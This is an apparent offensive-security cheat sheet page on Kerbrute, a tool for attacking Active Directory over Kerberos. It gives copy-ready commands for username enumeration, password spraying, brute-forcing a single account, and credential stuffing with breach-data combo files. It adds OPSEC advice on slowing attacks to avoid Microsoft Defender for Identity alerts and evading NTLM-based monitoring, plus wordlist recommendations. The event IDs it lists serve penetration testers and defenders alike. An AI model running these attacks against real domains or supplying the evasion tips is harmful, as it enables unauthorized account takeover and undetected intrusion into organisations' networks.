daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

kerbrute.md (13325B)


      1 ---
      2 title: "Kerbrute"
      3 description: "Kerbrute Kerberos pre-auth user enumeration and password spraying against a domain controller."
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: [active-directory, kerberos, enumeration, spraying]
      7 tools: [Kerbrute]
      8 difficulty: beginner
      9 updated: "2026-08-09"
     10 source: "vault:ActiveDirectory/Kerbrute.md"
     11 ---
     12 
     13 # Kerbrute
     14 
     15 > **Warning — Common Mistake: Wrong Subcommand.** The correct subcommand is `kerbrute userenum` — NOT `kerbrute user`. `kerbrute user` does not exist and will return an unknown command error. `userenum` is fully functional.
     16 
     17 > **Important — Prerequisites.**
     18 > 1. Network access to the Domain Controller on port **88 (UDP + TCP)**
     19 > 2. Target domain name (FQDN — not NetBIOS)
     20 > 3. Relevant username wordlist or combo file
     21 > 4. Clocks within **5 minutes** of KDC (Kerberos requirement)
     22 > 5. For spraying/bruteforce: know the **domain lockout policy** before running
     23 
     24 > **Info — [Kerbrute](https://github.com/ropnop/kerbrute) Overview.** Active Directory account enumeration and credential testing tool that abuses the Kerberos AS-REQ protocol on port 88 — requires no LDAP or SMB access.
     25 > 1. Enumerates valid usernames via KRB5 pre-auth error codes — no lockout risk for enumeration
     26 > 2. Sprays a single password across many accounts
     27 > 3. Brute forces a single account with a password list
     28 > 4. Tests credential combo lists (credential stuffing)
     29 > 5. Passively captures AS-REP hashes for accounts with pre-auth disabled (free AS-REP Roasting)
     30 >
     31 > **Repo:** https://github.com/ropnop/kerbrute — **Protocol:** Kerberos AS-REQ, port **88/UDP+TCP**
     32 
     33 > **Info — How Kerbrute userenum Works.** Sends an AS-REQ for each username in the wordlist and inspects the KDC error code in the response.
     34 >
     35 > | KDC Response | Meaning |
     36 > |---|---|
     37 > | `KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN` (code 6) | User does **not** exist |
     38 > | `PREAUTH_REQUIRED` (code 25) | User **exists** — pre-auth required |
     39 > | Any other non-code-6 error | User **exists** |
     40 > | AS-REP hash returned | User exists **and** pre-auth is disabled — hash is crackable |
     41 
     42 ---
     43 
     44 ## Installation
     45 
     46 ```bash
     47 # Pre-built binary (Linux)
     48 wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
     49 chmod +x kerbrute_linux_amd64 && mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
     50 
     51 # Via Go
     52 go install github.com/ropnop/kerbrute@latest
     53 
     54 # Windows
     55 kerbrute_windows_amd64.exe
     56 ```
     57 
     58 > **Info — Installation Breakdown.**
     59 > 1. **wget** — downloads the pre-built binary directly from the latest GitHub release
     60 > 2. **chmod +x** — makes the binary executable
     61 > 3. **mv → /usr/local/bin/** — places binary in `$PATH` so `kerbrute` works globally without `./`
     62 > 4. **go install** — alternative if the Go toolchain is available; compiles from source
     63 > 5. Windows syntax is identical — just swap the binary name
     64 
     65 ---
     66 
     67 ## Global Flags
     68 
     69 *Apply to all subcommands.*
     70 
     71 | Flag | Default | Description |
     72 |---|---|---|
     73 | `-d`, `--domain` | required | Target domain (e.g. `contoso.local`) |
     74 | `--dc` | auto DNS | KDC IP or hostname; set explicitly to avoid DNS issues |
     75 | `-t`, `--threads` | `10` | Concurrent goroutines |
     76 | `--delay` | `0` | Ms between requests; forces single thread when set |
     77 | `-o`, `--output` | none | Write results to log file |
     78 | `-v`, `--verbose` | off | Print failures in addition to successes |
     79 | `--hash-file` | none | Save captured AS-REP hashes to file |
     80 | `--safe` | off | Abort spray/brute if **any** account is locked out |
     81 | `--downgrade` | off | Force RC4 (`arcfour-hmac-md5`); use against older DCs |
     82 
     83 ---
     84 
     85 ## Subcommands
     86 
     87 | Subcommand | Input | Use Case |
     88 |---|---|---|
     89 | `userenum` | username wordlist | Enumerate valid usernames — no lockout risk |
     90 | `passwordspray` | user list + single password | Spray one password across all users |
     91 | `bruteuser` | single username + password list | Brute force one account |
     92 | `bruteforce` | `user:pass` combo file | Multi-account credential stuffing |
     93 
     94 ---
     95 
     96 ## userenum — Username Enumeration
     97 
     98 **Purpose:** Identify valid AD accounts by abusing KRB5 pre-auth error codes — no lockout triggered.
     99 
    100 ```bash
    101 # Basic enumeration
    102 kerbrute userenum -d contoso.local --dc 10.10.10.100 /usr/share/seclists/Usernames/jsmith.txt
    103 
    104 # Save valid users + grab AS-REP hashes, verbose
    105 kerbrute userenum -d contoso.local --dc 10.10.10.100 \
    106   -o valid_users.txt --hash-file asrep_hashes.txt -v \
    107   /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt
    108 
    109 # Higher thread count for larger wordlists
    110 kerbrute userenum -d corp.local --dc 192.168.1.10 -t 50 \
    111   -o found.txt users.txt
    112 
    113 # Windows
    114 kerbrute_windows_amd64.exe userenum -d corp.local --dc 10.0.0.1 users.txt
    115 ```
    116 
    117 > **Info — Command Breakdown (userenum).**
    118 > 1. **`-d contoso.local`** — target domain FQDN (not NetBIOS name)
    119 > 2. **`--dc 10.10.10.100`** — explicitly targets the KDC by IP, bypassing DNS resolution
    120 > 3. **`-o valid_users.txt`** — writes confirmed valid usernames to file for later stages
    121 > 4. **`--hash-file asrep_hashes.txt`** — passively captures AS-REP hashes for any pre-auth-disabled account; crack offline with `hashcat -m 18200`
    122 > 5. **`-v`** — shows all attempts including failures; useful for debugging
    123 > 6. **`-t 50`** — increases concurrent goroutines; raise cautiously — high values increase detection risk
    124 
    125 > **Success — Output Interpretation.**
    126 > 1. **`VALID USERNAME`** — user exists in the domain
    127 > 2. **AS-REP hash lines in `--hash-file`** — account has pre-auth disabled; crack with `hashcat -m 18200`
    128 > 3. **No output / all unknown** — wrong domain name, DC unreachable, or clock skew
    129 
    130 > **Tip — OPSEC (userenum).**
    131 > 1. Does **NOT** increment the bad password counter — no lockout risk
    132 > 2. Does **NOT** generate Event ID 4625 (NTLM) — bypasses many legacy SIEM rules
    133 > 3. **DOES** generate Event ID 4768 (Kerberos TGT request) if Kerberos audit logging is enabled
    134 > 4. High volume of 4768s from a single non-domain-joined IP triggers Microsoft Defender for Identity (MDI) "Account enumeration reconnaissance" alert
    135 > 5. Lower `-t` and add `--delay` to blend traffic volume — source IP context still detectable
    136 
    137 ---
    138 
    139 ## passwordspray — Password Spraying
    140 
    141 **Purpose:** Test one password against many accounts — minimises per-account failure count to stay under the lockout threshold.
    142 
    143 > **Danger — Lockout Risk: Read Before Running.** Each failed attempt **increments the bad password count**. Always determine `Account Lockout Threshold` from `Default Domain Policy` before running. Always pass `--safe` to abort if any account locks out.
    144 
    145 ```bash
    146 # Basic spray with lockout safety
    147 kerbrute passwordspray -d contoso.local --dc 10.10.10.100 \
    148   --safe valid_users.txt 'Winter2025!'
    149 
    150 # Slow spray (1 req/sec) to avoid MDI thresholds
    151 kerbrute passwordspray -d contoso.local --dc 10.10.10.100 \
    152   --safe --delay 1000 -t 1 valid_users.txt 'Company123'
    153 
    154 # Save hits
    155 kerbrute passwordspray -d corp.local --dc 10.0.0.1 \
    156   --safe -o spray_hits.txt users.txt 'Password1'
    157 ```
    158 
    159 > **Info — Command Breakdown (passwordspray).**
    160 > 1. **`--safe`** — aborts the entire spray if any single account locks out; always use in production
    161 > 2. **`--delay 1000`** — 1000 ms (1 second) between requests; forces single-thread sequential spray
    162 > 3. **`-t 1`** — reduces to single thread; combined with `--delay` for maximum stealth
    163 > 4. **`-o spray_hits.txt`** — logs successful credential pairs to file
    164 > 5. Passwords with special characters must be quoted: `'P@$$w0rd'` (double quotes on Windows cmd)
    165 
    166 > **Success — Output Interpretation.**
    167 > 1. **`VALID LOGIN`** — credential pair confirmed; account not locked
    168 > 2. **`LOCKED`** — account locked mid-spray; `--safe` aborts at this point
    169 > 3. **No output** — password incorrect for all accounts, or all requests errored
    170 
    171 > **Tip — OPSEC (passwordspray).**
    172 > 1. Generates Event ID 4768 (TGT request) and Event ID 4771 (pre-auth failed) per attempt
    173 > 2. MDI triggers "Brute force attack using Kerberos" at ~15 failures in 30 minutes from one source
    174 > 3. Does **not** generate Event ID 4625 — evades NTLM-only monitors
    175 > 4. Use `--delay 3600000` (1 hour between requests) for very slow sprays in hardened environments
    176 
    177 ---
    178 
    179 ## bruteuser — Single-Account Brute Force
    180 
    181 **Purpose:** Brute force one specific account with a password list.
    182 
    183 > **Danger — Lockout Risk: Read Before Running.** Generates Event ID 4768 + 4771 per failure — extremely noisy. The account will lock unless `--safe` + `--delay` are used. Rarely practical against hardened AD — prefer `passwordspray`.
    184 
    185 ```bash
    186 # Brute a single account
    187 kerbrute bruteuser -d contoso.local --dc 10.10.10.100 \
    188   --safe jsmith /usr/share/wordlists/rockyou.txt
    189 
    190 # With delay to stay under lockout threshold
    191 kerbrute bruteuser -d corp.local --dc 10.0.0.1 \
    192   --safe --delay 5000 -t 1 administrator wordlist.txt
    193 ```
    194 
    195 > **Info — Command Breakdown (bruteuser).**
    196 > 1. **`jsmith`** — the single target username (positional argument after flags)
    197 > 2. **`/usr/share/wordlists/rockyou.txt`** — password wordlist; each line tested sequentially
    198 > 3. **`--safe`** — aborts if the account locks out mid-run
    199 > 4. **`--delay 5000`** — 5 seconds between attempts; reduces lockout risk at the cost of time
    200 > 5. **`-t 1`** — single thread; ensures `--delay` applies sequentially
    201 
    202 ---
    203 
    204 ## bruteforce — Combo List Credential Stuffing
    205 
    206 **Purpose:** Test a list of `username:password` pairs — useful for credential stuffing from breach data.
    207 
    208 ```bash
    209 # Credential stuffing from breach data
    210 kerbrute bruteforce -d contoso.local --dc 10.10.10.100 \
    211   --safe -o valid_creds.txt combos.txt
    212 
    213 # Pipe from stdin
    214 cat combos.txt | kerbrute bruteforce -d contoso.local --dc 10.10.10.100 --safe -
    215 ```
    216 
    217 > **Info — Command Breakdown (bruteforce).**
    218 > 1. **`combos.txt`** — combo file with one `username:password` pair per line
    219 > 2. **`--safe`** — aborts on first observed lockout; note this only catches the first locked account
    220 > 3. **`-o valid_creds.txt`** — writes confirmed valid pairs to file
    221 > 4. **Stdin pipe** — pass `-` as the file argument to read from stdin
    222 > 5. Best used with `--delay` in production environments
    223 
    224 > **Example — Combo File Format.**
    225 > ```text
    226 > jsmith:Password1
    227 > bwilson:Summer2024!
    228 > administrator:Welcome1
    229 > ```
    230 
    231 > **Tip — OPSEC (bruteforce).**
    232 > 1. Same detection surface as `passwordspray` — generates 4768 and 4771 events
    233 > 2. Per-account lockout risk; `--safe` only aborts on the **first** observed lockout
    234 > 3. Always use `--delay` in production environments
    235 
    236 ---
    237 
    238 ## Common Errors & Fixes
    239 
    240 | Error | Cause | Fix |
    241 |---|---|---|
    242 | `clock skew too great` | Kerberos requires clocks within 5 min of KDC | `sudo ntpdate <DC_IP>` or `sudo timedatectl set-ntp true` |
    243 | `no such host` / DNS error | DNS cannot resolve DC hostname | Explicitly pass `--dc <IP>` |
    244 | `kerbrute: command not found` | Binary not in `$PATH` | Use `./kerbrute` or move to `/usr/local/bin/` |
    245 | `kerbrute user` → unknown command | Wrong subcommand | Correct subcommand is `kerbrute userenum` |
    246 | Zero results on large wordlist | Wrong domain name or DC unreachable | Confirm FQDN (not NetBIOS); test with a known username first |
    247 | Accounts locked mid-run | Lockout threshold too low or spray too fast | Always pass `--safe`; check `Default Domain Policy → Account Lockout Threshold` |
    248 | No successes on known-valid creds | Domain name or DC routing issue | Test with `bruteuser` against your own test account first |
    249 
    250 ```bash
    251 # Fix clock skew
    252 sudo ntpdate <DC_IP>
    253 # or
    254 sudo timedatectl set-ntp true
    255 ```
    256 
    257 > **Info — Clock Skew Fix Breakdown.**
    258 > 1. **`ntpdate <DC_IP>`** — forces an immediate one-shot NTP sync against the DC's IP directly
    259 > 2. **`timedatectl set-ntp true`** — enables the system's persistent NTP daemon for ongoing sync
    260 > 3. Kerberos enforces a 5-minute maximum clock difference between client and KDC — non-negotiable
    261 
    262 ---
    263 
    264 ## Recommended Wordlists
    265 
    266 | List | Source | Best For |
    267 |---|---|---|
    268 | `jsmith.txt` | [insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) | `userenum` |
    269 | `xato-net-10-million-usernames.txt` | [SecLists/Usernames](https://github.com/danielmiessler/SecLists/tree/master/Usernames) | `userenum` (large) |
    270 | `rockyou.txt` | Kali `/usr/share/wordlists/` | `bruteuser` |
    271 | `probable-v2-wpa-top4800.txt` | [SecLists](https://github.com/danielmiessler/SecLists) | `passwordspray` |
    272 | Custom `firstname.lastname` lists | username-anarchy / OSINT | Targeted `userenum` |
    273 
    274 ---
    275 
    276 ## References
    277 
    278 1. [ropnop/kerbrute — GitHub](https://github.com/ropnop/kerbrute)
    279 2. [Event ID 4768 — Kerberos TGT Request](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768)
    280 3. [Event ID 4771 — Kerberos Pre-auth Failed](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771)
    281 4. [HackTricks — AS-REP Roasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast)
    282 5. [MITRE ATT&CK — T1110.003 Password Spraying](https://attack.mitre.org/techniques/T1110/003/)
    283 6. [MITRE ATT&CK — T1087.002 Domain Account Enumeration](https://attack.mitre.org/techniques/T1087/002/)
    284 7. [Microsoft Defender for Identity](https://learn.microsoft.com/en-us/defender-for-identity/)